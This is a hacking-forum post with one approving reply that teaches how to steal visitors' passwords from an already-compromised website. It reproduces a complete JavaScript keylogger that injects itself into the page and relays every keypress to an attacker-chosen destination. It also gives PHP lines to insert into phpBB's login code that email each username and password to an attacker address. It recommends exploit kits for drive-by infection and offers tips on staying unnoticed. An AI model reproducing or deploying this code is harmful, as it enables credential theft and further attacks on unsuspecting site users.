Web application keylogging

unknownAttacker · 09-30-2012, 12:30 PM

/I wrote this for a forum that doesn't exist now so don't find it weird if you've read it already; also, writing from memory because lost txt file/

So you've hacked a website and downloaded the database. Unfortunately, the passwords are hashed with a complex and obscure algorithm and you don't have time/skills/processing power needed to crack them - and hey, who can blame you? Cracking hashes is pretty tedious. Fortunately, you can avoid it by placing a web application keylogger on an affected website. Sure, you won't get passes from inactive users this way and you'll get same passes multiple times. The good thing is - you'll get many passwords anyway and you'll get even more of what I like to call 'meaningful mistakes'. If someone uses multiple logins/passes/e-mails, he'll sometimes forget and use the wrong one - and you'll get it, which is obviously a good thing if you want to attack this person further.

So, how do you keylog webapplications? There are three basic ways:

Logging keystrokes with javascript

Example: John Leitch's JavaScript Keylogger

Code:
// Copyright © John Leitch 2010 john.leitch5@gmail.com
var destination = null;
var useClone = false;
var cloneSource = null;
var cloneDelay = 1000;

function hookInputs() {
    var frame = document.getElementById('overlayFrame');    

    var keyPressScript =
        '<script>' +
            'var l = Math.random().toString().substring(2);' +
            'function relayKeyPress(e) {' +
                'var fc = document.getElementById("frameContainer");' +
                'var x = String.fromCharCode(e.keyCode);' +
                'var y = String.fromCharCode(e.which);' +
                'var k = e.keyCode ? x : y;' +
                'var f = \'' + destination +
                    '\' + escape(k) + \',\' + ' +
                    '(e.srcElement ? e.srcElement.id : e.target.id) + ' +
                    '\',\' + l;' +
                'fc.src = f;' +
            '};' +
        '</\x73cript>';

    var iframe = '<iframe id="frameContainer" style="display:none;"></iframe>';

    var sourceDoc = useClone ? frame.contentDocument : document;

    var html = sourceDoc.getElementsByTagName('html')[0].innerHTML;

    html = html.replace(/<head([^>]*)>/i, '<head $1>' + keyPressScript);
    html = html.replace(/<body([^>]*)>/i, '<body $1>' + iframe);
    html = html.replace(/<input/gi, '<input onkeypress="relayKeyPress(event)" ');

    document.clear();
    document.write(html);
}

window.onload = function() {
    if (destination == null) {
        alert('destination not set');

        return;
    }

    if (useClone) {

        if (cloneSource == null) {
            alert('cloneSource not set');
            return;
        }

        document.body.innerHTML +=
            '<iframe style="display:none;" id="overlayFrame" src="' +
                cloneSource + '"></iframe>';

        setTimeout("hookInputs()", cloneDelay);
    }
    else
        hookInputs();
};

Those are simple keystroke loggers you put into a website code: every key you press inside a specified window/frame is logged in a .txt file. I usually don't reccommend this method. Its advantages and disadvanteges are:
+ everything is logged, including backspaced stuff
+ universal - JS works almost everywhere
+ no additional traces pointing to you
- not stealthy - the code can often be seen while viewing source
- log file will become huge quickly and take up space on the server
- most of logged stuff will be bullshit

Login form input forwarding

Example: phpBB keylogger (can't find author of the original one to credit)

PHP Code:
$recipient = 'u_a@hackermail.com';
$subject = 'Password';
$message = "login: $username - pass: $password";
mail($recipient, $subject, $message); 

Those are not 'true' keyloggers as they don't log keystrokes. You simply put them into function that authenticates user based on data entered into login form so that not only are the supplied credentials verified, they're also sent to your e-mail address (i.e. the code in an example is to be put after

PHP Code:
$result = $auth->login($username, $password, $autologin, $viewonline, $admin); 

in phpBB's functions.php). Advantages and disadvantages of this are:
+ you get succesful and failed login attempts but not other bullshit like comments and posts and random keystrokes
+ stealthy, only admin can see it and he probably won't notice anyway unless he reviews code all the time
- leaves additional trace: your e-mail (so be sure to have a special one for hacking)
- if website is big, might lead to its e-mail being blacklisted because of large numbers of similar mails sent

Browser exploit tools

Examples: BeeF, Black Hole Exploit Kit

Those are more complex tools. They're very versatile - instead of just keylogging/stealing password, they allow you to attack people visiting the affected website directly with trojans, drive-by installs etc. If you don't want it, you can configure them to keylog only ofcourse. Advantages and disadvantages of those tools are:
+ very versatile and powerful
+ easily used and customized
- often require an external server to host the tools which might be an additional trace
- too much work if you want to keylog only and nothing more

3r3bus · 09-30-2012, 12:34 PM

Nice share mate, keep it up.

Web application keylogging
Author Message